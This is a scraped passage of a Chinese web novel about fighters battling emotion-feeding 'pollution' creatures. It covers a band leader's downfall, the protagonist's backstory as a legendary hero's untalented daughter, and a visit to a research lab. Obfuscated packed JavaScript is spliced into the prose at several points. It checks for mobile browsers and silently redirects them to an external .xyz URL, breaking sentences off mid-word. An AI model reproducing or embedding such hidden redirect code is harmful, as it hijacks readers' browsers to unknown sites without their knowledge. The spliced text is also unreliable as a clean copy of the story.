郑向东还有一口气,但已经丧失了所有行动力。 林安时收回自己的手低头来回翻动看了看。好像她对自己的这一击绝杀有些许疑惑。 算了,不重要。林安时心想。重要的是,阮砚瞳找到附着链了。 尸鬼是因被吸食情绪后,情绪熵过低死亡,而污染宿主恰恰相反。 人类在情绪熵过高、情绪崩溃时,才会被污染寄生。 成为污染后,宿主依旧保留着他被寄生时的情绪状态,相当于陷在崩溃情绪里循环往复,以此给污染物提供基础生命力。 找到附着链,等于是再次刺激了已经崩溃的神经,通常污染宿主会产生极大的反应。所以很多情况下,找到情绪附着链的那一刻往往就是最危险的,污染物会暴起攻击。 简单点解释就是,郑向东破防了。 林安时转过头,看了看阮砚瞳和姜岑的情况。 舞台上突然传来麦克试音的声音。 林安时以为郑向东恢复了,迅速回头,刚想出手,发现是玖歌站在麦克风前。 舞台上其中一只音箱已经坏掉了,只有一直还响着。玖歌弹了弹身上的贝斯,贝斯的声音很闷,只有它做伴奏没那么好听。但她也只有它。 玖歌唱起了这个乐队她最喜欢的一首歌。 玖歌的嗓音很好听。 瘫坐在墙边的郑向东尝试把头转向玖歌,但试了几次都没成功,它已经没有任何行动力了,只有眼球在上下转动着。 回忆里,他第一次,也就是上一次,听到玖歌唱歌,是在5年前。 污染物乐队就是在5年前成立的。 这不是郑向东第一次玩乐队,他之前在另一个乐队里是个很厉害的吉他手,弹的好,还能写出特别好的歌。 他太爱音乐了,完全痴迷于此,他的金钱、时间、精力全部都花在这上,灵感来了的时候昼夜不分,把自己关在屋子里创作,饿了就吃点饼干顶着,直到各方面都满意了才收工出来。 有一次还是赵飞看不下去了,把关在屋子里一周的郑向东拖出去吃饭。 他这么辛苦的创作,天才的作品,但最后都要被那个什么都不会的主唱拿去唱,然后收获最多的掌声和喜爱。 不甘,怨恨,最后变成执念。 他的歌,他要自己唱。 别人都不配。 后来,他带着键盘手赵飞退队,听说他们退队没多久,之前的乐队就解散了。 哈哈,果然是一堆垃圾,离了我什么都不是。郑向东跟赵飞嘲笑到。 赵飞笑笑没说话。郑向东是他很多年的朋友了,赵飞键盘弹的不错,但玩乐队就是个业余爱好。但他知道郑向东的理想远不止于此,他觉得郑向东有才华,应该支持他,所以他跟他走。 郑向东要成立自己的乐队,开始招募自己的队员。 吉他章骁是郑向东他姐的儿子,是个小混混,很早就退学了,天天不学好,跟人打架被拉了一刀。他妈看不过去,拜托他带着。 虽然搞乐队也不是什么正经工作,但比不知道哪天把自己命搞没了强。 章骁的吉他是小时候跟着郑向东学的,弹的不咋地,但她姐没少扶持郑向东,他理应关照点。 倒是有一个弹的还不错的小姑娘,叫玖歌,很有勇气地向他毛遂自荐,拿吉他给他弹唱了一段。 唱的也还行,但唱的还行的太多了,没什么用。 女孩儿玩贝斯多酷啊,于是郑向东给她指了条明道,让她留下来当贝斯手。 鼓手周鸿星是他最喜欢的,他就是个天才。郑向东认识周鸿星的时候他高中都还没毕业,水平就已经碾压圈里大部分人了。 而且眼光也好,坚定的跟着郑向东混,要不是他苦口婆心劝他要把学上完,他高中都毕不了业。 污染物乐队成立了,他做的乐队,亲自选的人,应该无所禁忌,所向披靡来着。 但怎么就越来越差呢。怎么到如今这样,10块的票价都没人愿意来看。 太多人,太多人或直接或委婉的跟他说,这乐队挺好的,但就是,主唱唱的太差了。 “要不换个主唱试试?” 他们懂个p啊,这些什么都不是的王八蛋。 后来他让同样说出这话的玖歌滚蛋。不知好歹的小姑娘。 再后来他花光所有积蓄,也支撑不下去乐队的开销。 如果自己有唱歌的天赋就好了啊。 为什么这些人,全部都要拿他努力也得不到的东西要求他。 他当然想有这个天赋,比任何人都想。 因为太爱了,所以太想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阮砚瞳坐了下来,看着郑向东,寻找着措辞。 让一个情绪崩溃的人解脱,这太难了,所以作战中心对此也并没有强制要求,只说尽量。很多作战员懒得做这个事,直接暴力铲除了。 但阮砚瞳要试一下,一方面是因为解开附着点,能把污染物能力削弱一两个等级,更能保证任务完成。 不过目前可能也不需要,阮砚瞳看了看郑向东的样子。林安时一掌下去这家伙就只剩一口气了。 更重要的,一定要尽可能收集附着点以供研究。污染源源不断,只靠杀是杀不完的,要找到根本解决办法。这也是目前世界对待污染物的主流态度。 阮砚瞳觉想象自己是个心理咨询师,对郑向东说。 “我能够理解你的心情。” 郑向东眼珠子转的飞快,张开嘴,艰难地发出音节。 “你...懂...个...p...” 你懂个p,一个小丫头片子。 你懂付出一切的热爱,但没有半点回报的感觉吗。 你懂你坚信的此生意义,发现毫无结果吗。 他心里还有很多想说的,但他的状态支撑不了他说那么多话了。 “我怎么会不懂呢。”阮砚瞳倒是希望自己无法理解。 “你应该不认得我,我是个没觉醒天赋的F级污染物作战员。” “一般人如果没天赋的话就放弃跟污染物打交道了,倒也没什么的。”阮砚瞳继续说。 “但我妈是阮青见。” 8.污染物乐队(6) 阮青见? 姜岑听到这个名字,猛地转头看向阮砚瞳。林安时也惊到了,微微睁大了眼睛。就连角落里的玖歌,都有了反应。 郑向东头微微偏了一下,他迫切地想再看看这个女孩儿,但这是他能转动的最大幅度了。 这个时代没有人不知道阮青见。 这个名字曾经铺天盖地出现在各种媒体上、谈话中、报道里。 现在她被写在教科书上,成为必须被记住的历史,所以在这个时代中活着的人,不可能不知道阮青见。 那是自危机时代污染物出现以来,人类看到的最大希望。是迄今为止,最强的天赋者。 一旁的林安时忍不住仔细观察了下阮砚瞳。虽然她是接收阮砚瞳入职的队长,但她对这个事情完全不知情。 仔细看,眉眼确实有几分相似。这也不怪她不够敏感心细,虽然都姓阮,但谁能把一个没有天赋的F级跟至今最强的天赋者联系到一起去。 阮青见有个女儿,这是众所周知的事,她在采访中自己也提及过。但公众并不了解阮青见女儿的具体信息,只是称其为“人类的希望之女”。因为妈妈极高的天赋,她从出生就被赋予不一样的期待。 “你...懂...个........”郑向东似乎是损伤严重,嘴里一致在重复那句话,但如今越来越没有了底气。 或许阮砚瞳真的懂。 阮砚瞳意料到所有人的震惊,如果她第一次听见这个事,她也会是一样的反应。她就是在这种震惊的目光中长大的。 “所有人,包括我,都觉得我一定有天赋。应该不止有,要很厉害才对,毕竟基因是天赋觉醒很重要的因素。” “我今年21,这个年纪经过系统训练的人,还没有觉醒天赋,基本就没可能了。” 都不要说21了,现在的天赋开发训练很成熟,如果有的话,通常在14-16岁就觉醒了。 天赋是与生俱来的,之所以大部分人从14岁开始觉醒,是因为天赋觉醒通常需要接受污染物的刺激。处理局为保护儿童身心健康,以及防止心智不成熟的儿童滥用天赋伤及无辜,规定第一次天赋开发训练安排在14岁。 14岁之前,阮砚瞳都无比期待自己的天赋。而从14岁开始,她迎来了最灰暗的3年。 同学们一个个觉醒天赋,而阮砚瞳一次次失败。 第一年还好,她安慰自己说没关系慢慢来。但越到后来越绝望。 她一度非常排斥天赋开发训练,她宁愿被说成懒惰不上进,但她依然是那个可能天赋极高的孩子,人类的希望之女,毕竟她是阮青见的女儿。 不尝试,不努力,就可以活在自己的想象里。 我不是没有天赋,只是没行动罢了。 她动过退学的念头,她想跟所有人说,我的人生另有追求,要过跟阮青见不一样的生活。 然后看上去潇洒地当个虚伪的懦夫。 类似的念头出现了很多。她纠结了很久。 反正无论如何都是平庸,在自己不在乎的事上,会更好接受吧。 这样就可以不必面对怀疑,失望。不必折磨自己。 她跟学校请了长假,尝试接触各类其他的领域,听说的、想得到的她都去试试。没准她的人生太局限了,最想做的事之前没出现。 但她最终发觉只有枪在手里的时候她才最踏实,只有面对污染的时候她才最坚定。 还是欺骗不了自己。 她从小把妈妈当作自己的偶像,妈妈勇敢、坚定、温和又强大,有保护弱者的力量,她想成为那样的人。 她不想放弃成为那样的人。 她希望所有人都不要因为污染,再也见不到爱的人。 她不能逃避,如果妈妈在的话,也会因为她这样做失望吧。 于是阮砚瞳重新回到学校,决定去面对。要和妈妈的身影站在一起。 但即使下了决心,要克服这件事情也依旧很难。 她们是无时无刻要跟污染物打交道的人,天赋是不可被忽视的。 她自己,周围的人,身处的环境,无时无刻不在提醒她这个事情。 其他人意识到她没有天赋时,也曾那样鼓励过她,没关系,不重要,你一定有独特的那一面。 听到的时候很欣慰很开心,但没有用。 赞美,夸奖,在事实面前是没有用的,都只是安慰。 那段时间,她沉默寡语,不断地被安排接受检查。 所有人都怕她会承受不住,会情绪崩溃。 “后来从什么时候开始接受的呢。”阮砚瞳认真回忆。 她当时最害怕的,是因为很多人和她相识相交,都是因为阮青见。 很好理解,开始选择认识一个人,然后和她相处下去,一定会有一个原因。可能是性格、外貌、一段故事,也可能只是因为一句话来了兴致。 阮青见是颗太明亮的星星了,她闪耀过一切其他的事物。老师们因此青睐她,周围人因此好奇她,很多人因此与她有了交集。 阮砚瞳从未因此怨恨过妈妈,相反,她觉得那是妈妈留下的照拂,她一路受过很多帮助。 但那颗星星的孩子却如此黯淡。 她害怕她生命里有些重要的人因此离她而去。 有一天她觉得自己快被这种担心逼疯了,于是破罐破摔地问她的朋友。“如果我真的没有天赋,你还会和我做朋友吗。” 她忍住泪,不断提醒自己,什么结果她都能接受。 她的朋友听到这句话后,看上去有点讶异她会这样想。 “当然,你在想什么。” 她的好朋友是这样坚定地答复她的。 “我是跟你做朋友,不是跟你的天赋做朋友。” 她迅速意识到阮砚瞳的担忧和无助,一改往日的随意,严肃而直白说。 “就算你什么都不是,我也会一直爱你的。” 她补充道。 “我保证我不会离开。” 那是真正让阮砚瞳安定下来的人和事。 哦还有她小姨,在得知姐姐的孩子没有天赋时,完全不在乎。摸了摸她的头,笑着说:“你没天赋,说明随我啊。怪不得咱俩好呢。” “确实有很多期待的目光离开了我,但那些目光,原本也不是我亲近的人。” “我的朋友,家人,那些我爱的,爱我的人,从未因此离开。” 她只是没有天赋,没有拥有一个她本来就没有的东西而已。 也就是说,她从来就没有失去什么。 她热爱与否,想做与否,与她是否拥有天赋无关。她是在什么都没有的时候,想要做这个事的。 额外的东西,没有就没有吧。有的东西,才要珍惜啊。 怎么能让本身不存在的东西,去夺走存在呢。 然后她就是现在的阮砚瞳了。 一个没天赋只能抱别人大腿的小废物。 甚至能女承母业,也多半靠她妈这个超级无敌大腿。 虽然还有很多的忐忑,每天都在因此面对着不同的挑战,但她在好好活着,做她想做的事情。 有朋友,有家人,甚至今天还有了带她飞的姐。真是有点运气在身上的。 何必执着于无论如何也得不到的事。 不过也不能说是幸运吧,一个超级无敌强的妈的基因半点都没遗传下来,这事本身就太没运气了。 惨淡大运之上的小确幸吧,但足够支撑她乐呵地活下去了。 阮砚瞳的故事讲完了,脸上没有半点忧伤,笑嘻嘻问郑向东。 “我是不是还是挺能懂你的。” 郑向东张着嘴巴,看嘴型依然在重复“你懂个p”,但已经发不出任何声响了。 他呆滞地坐在那里,陷入回忆。 阮砚瞳的话让他想起了他的朋友们。 遗憾和执念是个深不可见的洞,想探究清楚,凭什么。于是一头扎进洞里,越挖越深,越挖越黑,其他的根本就不关心。 他周围的人都陪着他,在他的执念里活着。 最后又跟着他的执念死去。 郑向东一直觉得自己是这个故事的主角,所以他无比重要。他的想法,他的意志,他的天赋,决定着一切。 他以他的视角安排其他人成为他身边的各种角色。 但人不是任由别人操控的个体。人有自己的想法,有自己的理由。 他们有过怨恨吗? 应该是有的,但他没在意过。 除了怨恨,还有什么呢? 他无知且一以贯之的认为,他们来到他身边,是因为他厉害,了不起。 那他们又为何留下,为何离开? 他之前没想过这个问题。 他唱歌没有天赋,是显而易见的事情。但落魄成这个样子,怎么周围还有这些人。 他突然觉得遗憾,他好像从没有问过他们。 赵飞有家有业的人,为什么要陪他混这么久,还要倒贴钱。 章骁那个孩子,怎么玩了乐队就老实了,没再惹出乱子来。 周鸿星是个天才,但就这么陪他在地下消磨掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林安时走过来,对玖歌说,“一会需要辛苦你跟我们去趟作战中心接受检查。” “必要流程,后续也会有定期的复查,确保没有问题。” 玖歌点点头:“我去上面等你们吧,这味儿实在太难闻了。”说完,玖歌离开了livehouse。 林安时转过头,对阮砚瞳笑了笑:“表现不错。你的试用期考核通过了,欢迎加入作战中心。” nice!阮砚瞳在心里欢呼。 “这次的附着链移交工作就交给你了,知道流程吧。” 阮砚瞳点点头,收集到的附着链需要移送到研究中心,而她恰好想去那儿见个人,林安时就算不安排,她也会主动请缨。 “然后再试试把这次的任务报告写了吧。”林安时笑眯眯地说。“虽然你是阮青见的女儿,但该做的事一样要做哦。” “当然。”阮砚瞳一口应下。 姜岑把眼球收集到容器中,处理了下现场之后走过来。不知道是不是错觉,阮砚瞳感觉姜岑总在瞄她。 “我可不可以请你们,暂时先不要把我的身份告诉其他人?”阮砚瞳跟两位姐姐请求。 虽然她已经接受良好,但还是不想让那么多无关的人知道这个事。她控制不住别人怎么想,还是希望尽可能保住她妈的一世英名。 “好。”两个人迅速应了下来。 然后三个人陷入了尴尬的沉默里。 阮砚瞳不知道这是怎么了,姜岑欲言又止了好几次,而林安时在一旁笑着看着她。 姜岑终于下定决心,对阮砚瞳说。 “阮青见是我的偶像。” 阮砚瞳:“啊,谢谢。” 这样的场面她经历过很多次,但她并不是阮青见,只能代为道谢。 阮砚瞳:“或许我可以回家找找她的签名,没准还有。” 姜岑急忙拜了拜手,“不用不用。我只是表达一下。” 互相附和的笑声过后,又陷入了一阵沉默。 半晌,姜岑拍了拍阮砚瞳的肩膀,“辛苦了。” 这三个字有很多意思。 这次任务辛苦了。 之前面对的这些事情辛苦了。 还有,母亲离开的这些年,辛苦了。 所有人都知道,阮青见在12年前,死在了那场事故中。 9.我妈是全民偶像 从第一次污染爆发至今,已经过去43年了。 污染物刚出现时,人类毫无头绪,无力招架,只能任其肆意妄为,滥杀无辜。 人们因污染的出现产生恐惧,污染物进而吸食恐惧,人类愈加恐惧。如此往复,死伤无数。 污染物来自深海,海洋从此变成了墨一般的黑色。再无人敢靠近海边,城市远远搬离海岸。 但污染依旧渗透到了人群之中,每天都有近百起污染事件爆发。末日的氛围笼罩在每一寸土地上,预言涌现,人类将要灭绝于此。 直至第一个天赋者觉醒。 在污染爆发的第174天,一位名叫周琪的29岁女性,因想要保护一位陌生的初中女生而产生的强大意志,觉醒特殊能力,对污染物进行攻击。那是人类第一次彻底消灭掉一只污染物。 以此为引,相关研究和实验光速推进,人类终于找到有效攻击污染的方式。 攻击污染物的力量来自于人的精神、意志、情绪这类看不见摸不着的东西。类似于人类曾经描述第六感的来源——心觉。 这种力量与生俱来,具有强烈的个体差异,因此称其为“天赋”,但它只在被污染物刺激之后才觉醒出力量。 找到方向后,联邦政府开始重点招募、培养具有天赋的人类,组织投入到与污染的对抗中去,不再束手无策地任其宰割。 而后续越来越多的研究证明,天赋觉醒者中,女性的占比远高于男性,表现也更加突出。从前在体力上不占优势的女性,在精神与六感维度中,展现出远高于男性的素质。 与后天努力无关,这是来自于性别的先天优势。 于是逐渐地,女性成为力量的代言词,数十年之间,涌现出了大量优秀的女性战士、女性研究者,为对抗污染、维护人类世界稳定作出巨大贡献。 这是危机时代,但同时,这是一个女性偶像非常多的时代。 而阮青见,无疑是最耀眼的那个。 危机前十年,虽然人类找到了攻击污染物的方法,但开始依旧只是顽强抵抗。 将觉醒天赋的人类送入污染区,毫无章法地与污染物进行对抗。作战员损失惨重。天赋者与污染物同归于尽都已经算不错的结果,更多的,是无谓的牺牲。 这种情况茫然地持续了十余年,人类的信心逐渐被消耗殆尽。 直到阮青见横空出世。 危机14年,19岁的阮青见在一次污染事件中天赋觉醒,并展现出强大的力量,仅用5分钟就击杀污染物。 污染物处理局了解情况后,招募阮青见加入作战队。她的天赋初评级为S,天赋能力为【共振】,能控制范围内一切事物的内部震动,直至其毁灭。 这是有极强攻击力的一种天赋,阮青见是目前为止唯一的掌握者。 经过一年的开发训练后,阮青见评级升为S+,评价体系的最高级别。而阮青见最后的实际实力远超S+,是当之无愧的最强天赋者。 阮青见觉醒后,人类对抗污染物的局势出现了新的转机。 阮青见在各类污染事件处理的过程中,展现出了她对污染物的绝对压制,从未失手,战无不胜。 她的出现,也让无数人第一次看到了在这场与污染物抗衡的灾难之中,人类胜利的希望。 在一个依靠情绪稳定的世界中,人的信心非常重要。阮青见不仅为剿灭污染区作出极大的贡献,也作为精神支柱,稳定着人们的精神世界,控制了污染爆发蔓延的速度。 不仅如此,阮青见还展现出了一位领袖应该具有的意识和素质,她没有只把自己看作一个执行命令的战士,她想的更长远,更全面。 污染物是杀不尽的,也不能只靠她杀。人类与污染的斗争是持久的,必须有能够持续的研究支持,以及更多人能与之抗衡的方式。 她认为她可以为此做的更多,她也这么去做了。 因为强大的能力,阮青见能够更安全充分地进出污染区,通过很多年无数次的探索和总结,她摸清了污染区的基础规则,并发现污染物与宿主的附着链,为处理和研究提供更多的方便。 在此之上,她制定了污染物作战基本准则和作战指挥体系。可以说,目前的标准化响应和流程,都是在阮青见的基础上不断完善的。 27岁那年,阮青见生育了一个女儿。这是所有人都喜闻乐见的事情,天赋很大程度与基因遗传有关,父母都有天赋的孩子,几乎一定能够觉醒天赋。 阮青见这种天赋级别生出的女儿,一定会成为新一代的领军人物。 从怀孕到哺乳的这段时间中,阮青见无法出任务,但也没闲着。她规范了污染物作战员的培养体系及天赋的开发体系。 阮青见作为一个母亲,想象着一个孩子如何成长,如何能够在危机时代中,即使肩负责任,也能健康安稳快乐地长大,最大程度地保护自己和他人。 在她的协助下,污染物处理学院从附小到大学的培养都被完善。在良性的培养体系下,污染物处理学院持续为处理局提供人才,成为与污染物作战的中坚力量。 阮青见的影响力在持续增大。她当时太年轻了,刚三十出头,如果再有几年,一定会是总指挥。 但她离开的太早了。 危机31年,阮青见的队员邀请全队去人造海度假。 污染出现后,人类远离海洋的同时,对海洋萌生了更多的思念和向往。地产商看准了商机,在陆地安全区域建造了人造海,和真实的大海别无二致,周边配备海滩、商铺、酒店等设施,打造成为黄金度假区。 9岁的阮砚瞳从来没见过海,吵着要一起去,阮青见也难得有空闲时间跟家人一起旅行,征求队员同意后,便带着女儿阮砚瞳和妹妹阮由苜一同前往。 危机31年7月5号当天下午17:34,人造海岸爆发S级污染事件。幸运的是,由阮青见带领的澄渊队5人全部在那里。 澄渊队迅速反应,进行人群疏散并控制污染,事件发生半小时后,七千余人安全撤离。 不幸的是,澄渊队最终仅一名队员存活。 这场事件有很多疑点,并因阮青见的死亡更加扑朔迷离。 根据之后的调查判断,污染区虽为S级,但依然在阮青见的可控范围内,否则也不会能够争取到如此长的疏散时间。 而即使有不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906509|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控的威胁出现,综合所处环境和队员天赋,也完全有逃跑空间。 但最终阮青见在依然有未撤离人员的情况下,发动了毁灭式的攻击。 7月5日下午18:13,阮青见发动天赋【共振】,天赋瞬时能量达到阮青见正常水平的400%。 3公里内一切事物都被摧毁,建筑物无一幸免,轻则截断倒塌,重则成为一地的碎石废墟。范围内生物被震碎成灰,无法辨认。 官方发动一切力量,但没有找到任何最终现场的目击者或线索。 阮青见不惜牺牲自己和173人的性命也要摧毁的东西到底是什么?为什么阮青见爆发出了400%的能量?对于这场事件官方是否存在刻意隐瞒?...... 这些问题至今仍是谜团。 阮青见死亡后,为纪念其为对抗污染作出的贡献,污染物处理学院取其所在队伍的名字,改名为澄渊学院。 借着自己妈的光,作为烈士遗属,阮砚瞳一直在澄渊上学。 阮砚瞳的身份虽然没对大众公开,但周围人对她的身世都很清楚。所以她从小就被寄予厚望。在阮青见离世后,学院的老师们更是把对阮青见的思念和敬重转化为对阮砚瞳的“关照”。 以至于后来阮砚瞳迟迟没有觉醒天赋时,她自己都放弃了老师们还不放弃。 天赋觉醒需要污染物的刺激,学院有一套开发天赋的方法,能够在安全的范围内刺激被开发者天赋的觉醒。但直到最后一次开发训练,阮砚瞳都没有半点要觉醒天赋的迹象。 她的天赋训练老师不信这个邪,阮青见的女儿怎么可能没天赋。她坚持认为是传统方法不适用于阮砚瞳,强者都是在最惊险时刻,才会爆发出自己的力量,这些小打小闹,不足以让珍贵的东西显现。 她给阮砚瞳开小灶加了一次训练,把强度上到了安全范围之上,那次阮砚瞳差点死在污染物手上。 但她就是没天赋。 那次之后,大家就逐渐接受了这个事实,阮青见不可复制,也不要指望再有什么救世主重现。 她就是神的礼物,完成了自己的任务之后就被收回去了,再也没留下别的什么。 阮青见的女儿,好好活着就行吧,当个吉祥物也能图个吉利。 阮砚瞳也很有自知之明,从那以后就把抱大腿作为一种必要手段,一路苟到现在。这不,刚才又苟赢一局。 阮砚瞳抱着装有郑向东眼珠子的容器。里面眼珠子还在里面滴溜乱转,阮砚瞳不想跟它对视,看着移动仓外飞速后退的城市景象出神。 刚才的任务让她想起那次事件,想起后来的事情,想起阮青见,想起很多人。 她现在要去见的人,也是故事中的一个。 也是个因为阮青见曾对她寄予厚望的人。 阮砚瞳收回思绪,低头拍了拍容器,笑了一下。 总之,她的第一次任务完成了,考核过了,工作也稳了。别管到底是因为抱上了亲妈的大腿,还是又抱上了领导的大腿。东边不亮西边亮,没有天赋咱这不是还有运气嘛。 阮砚瞳正想着,移动仓停下,系统音响起。 【科研中心到了】 10.科研中心 科研中心和作战中心虽然同属于污染物处理局,但两栋楼并不在一起,科研中心是五年前才成立的,局里在几公里外新包了一块地盘。 据说阮青见生前就提议过成立科研中心,但遭到已有研究单位——污染物研究院的极力反对。污染物研究院成立时间更早,但与污染物处理局为两个独立机构。 他们之间的矛盾在于,处理局希望研究院能更前期深入地介入污染研究,在污染区内或是对未脱敏处理的一手污染物品进行研究,以获得更多信息。但研究院以无法保证科研人员安全为由,拒绝了这个提议。 这件事情一直搁置,直到污染物处理局现任局长席溪任职,才再一次着手推进,直至科研中心落地。 科研中心成立后,作战人员在离开污染区后,需及时将所有污染相关物品提交至科研中心存档研究。 阮砚瞳进入位于一楼的污染物物品提交处。 这是一间纯白色的房间,中间是一张一米多高的台桌,台桌旁悬挂着一块大屏幕,台桌前方是一整面一面透明玻璃,可以看到后面的检查室。 阮砚瞳将台桌上的面板拉开,把装有郑向东眼睛的容器放进去。 一阵机械声响后,容器传送到玻璃后初步检查室,进行扫描和初步危险排除。 阮砚瞳在屏幕上输入基础信息。 任务编号:D00547 污染物等级:D级 吸食目标情绪:狂热 宿主崩溃原因:对天赋的执念 物品信息:污染物附着链 确认提交。 屏幕上提示【物品已收纳,请及时将任务报告上传系统】 玻璃后的检查室内,容器扫描通过,被放进格子中。 搞定。 阮砚瞳走出房间,在脑控中翻出联系人,发送消息。 阮砚瞳:快点,我完事了。 一分钟后,阮砚瞳收到了回复。 乔时与:等我会。 乔时与:有只脚跑了,我在逮它。 阮砚瞳无语,这时候都能抽个空回她消息,不愧是乔时与。在她那儿好像从来就没什么值得紧张的事。 哦不对,有个例外,阮青见。 阮砚瞳第一次跟乔时与说话是小学三年级一次作文课后。 虽然时代巨变,但有些事倒是一直没变,比如小学作文写“我的妈妈”。 阮砚瞳超级骄傲地把阮青见夸了一通,她念完作文,全班掌声雷动,在这之前很多同学都不知道她妈是阮青见。 下课后,班里同学围在她座位上问七问八,等到人群都散去了,乔时与站到她课桌前,对坐着的阮砚瞳说。 “你妈妈很厉害,她是我偶像。” “你是我偶像的女儿,我可以跟你做朋友。” 说完,乔时与头也不回地转身走了,没给阮砚瞳任何拒绝的机会。 阮砚瞳还挺惊讶的,她跟乔时与同班三年,但一句话都没说过。 不是阮砚瞳高冷,是乔时与这小姑娘一直酷酷的,看谁都一副傲娇的样子。她不爱搭理别人,别人自然也不搭理她。 这种人也会有偶像啊,阮砚瞳感叹道。虽然还是那么拽,但完全一个爱屋及乌的迷妹心态。 从那之后,有阮砚瞳在的地方,基本都能找到乔时与。不管阮砚瞳理不理她,她就在她附近转悠。 别人说她这行为就是阮青见的私生粉,连偶像女儿也不放过。她撇撇嘴,坚持说,“你们什么都不知道,是阮砚瞳离不开我。” 后来阮砚瞳倒是真的离不开她。 阮青见离开,乔时与在她身边。她觉醒不了天赋,乔时与在她身边。从小学到大学毕业,乔时与一直在她身边。 她在她最难熬的时候说,“我保证我不会离开。” 毕业后乔时与非常顺利地进入研究中心,她不是阮砚瞳这种轮空2个月的小废物,乔时与新人评级C,是科研中心和污染物研究院抢着要的优秀毕业生。 研究院的人来招她,乔时与看都没看一眼,毫不犹豫地选择了科研中心。 阮砚瞳问她为什么,她说她就是相信席溪,她还记得澄渊学院新生入学时席溪的讲话,“我不能利用你们的不成熟,让你们毫无选择地走上一条需要为之奉献生命的道路。” 因为席溪的理念,澄渊学院的学生毕业前不会参与任何任务,也不需要实习,整体学制压缩到3年。 毕业后,学生自主选择是否加入污染物处理局,选择加入的,处理局全员接收。 因为这是一不小心就会断送性命的事业,污染局希望等这些学生思想成熟后,自主选择,要过怎样的人生,要为什么而奋斗。 污染局的招聘宣传里,写着这么几句话。“在污染物处理局工作的每一个人,是同伴,不是耗材。” “我们始终认为,人类需要被拯救,但个人幸福同等重要。如果个体无法幸福,那拯救人类毫无必要。” 管他是不是饼呢,有的吃也比一开始就没打算给的好吧。乔时与选择为那些为她考虑的人做事,而且她也不想跟研究院那群缩头乌龟一起工作。 “嗨。” 正想着,乔时与一身白大褂出现在阮砚瞳面前。 乔时与高鼻梁,细长眼,长得就非常冷淡,再配上这身衣服,真像冷面科研酷姐那回事儿。 但这是对外形象,乔时与跟阮砚瞳碰上话就多了起来。 “那只脚可能蹦跶了,我自己一个人忙活半天。” 阮砚瞳:“你逮到了?” “当然,就算我身体素质再差,一只脚再跑也跑不过我两条腿吧。” 乔时与接着抱怨,“烦死了,天天跟这堆器官打交道,人都要魔怔了。” 阮砚瞳:“我刚跟一堆死尸斗智斗勇。” “对哦,还没问你,第一次进污染区什么感觉?” “有点恶心,但还行吧,有心理准备。” “你从污染区拿回来的是什么。” “附着链,是对眼珠子。” “我带你进实验室吧,咱俩看看去。”说着,乔时与起身拉阮砚瞳。 “这合适吗。”阮砚瞳有点犹豫,虽然都是污染局的员工,但能这么随便进实验室的吗。 “哎呦没事,今天没人。”乔时与一点没顾虑,一路拉着阮砚瞳到了3楼。 3楼整层都是一间一间的实验室,乔时与轻车熟路,刷开了其中一间的门,张罗自己和阮砚瞳穿戴好防护设备。 乔时与操作屏幕,把郑向东的眼珠取了出来。 “你自己一个人处理啊。”阮砚瞳不放心地问。 乔时与满不在乎,“这不正好你在,有危险你解决啊。” 真看得起我,但更像是拉个垫背的。阮砚瞳心想。 “而且我是C级研究员,处理一个D级的附着链有什么难的。” “行,你厉害。”阮砚瞳只能选择相信工作2个月的乔时与已经能独当一面了。 乔时与瞄了眼物品信息。 吸食目标情绪:狂热 宿主崩溃原因:对天赋的执念 乔时与:“你不觉得污染物变聪明了吗?” “嗯?”阮砚瞳觉得这话莫名其妙。低级污染物连最基本的意识都没有,何来的变聪明。 “我不是说某个污染物,我是觉得它们好像也有种集体进化,跟人类从猴进化成人一样。” 乔时与指了指屏幕。 “你看,现在污染物选择的目标情绪基本都跟宿主崩溃原因不同。” 乔时与继续解释,“我做过数据对比,污染初期这两个指标很多都是一样的,但可能是因为相同情绪会反复刺激宿主,经常会出现附着链自行脱落的情况。” “现在基本都不一样了,污染和宿主的结合更稳定,人类破解也更麻烦了。这难道不是进化吗。” 乔时与拉下分析镜,拿起分解刀,看着眼珠摇摇头。 “我觉得污染物没有智慧这个结论,不是很可靠。” 然后一刀切向其中一只眼珠。 砰- 另一只眼珠像是感应到了刺激一般,猛然飞出去,撞向天花板,然后掉落到设备和仪器之间不见踪影。 阮砚瞳立刻掏出枪,心中懊悔不已,就不该信了乔时与, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912346|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她废了那么多的口舌感化老登才拿到的附着链,还没到手几个小时就给搞丢了。 阮砚瞳往眼珠掉落的方向找了找,没找到。实验室仪器太多,她也不敢乱动,看上去她一个都赔不起。 乔时与低头看了看被她切到一半的眼珠子。 看着有点恶心,但自己的烂摊子还是自己收吧。她撇撇嘴,闭上眼睛,伸手握住了眼珠。 乔时与的天赋是【痕迹追踪】,能从一个事物感应追踪到与之相关的事情。既然这两个眼珠还能产生连带反应,想必也能从一个追踪到另一个。 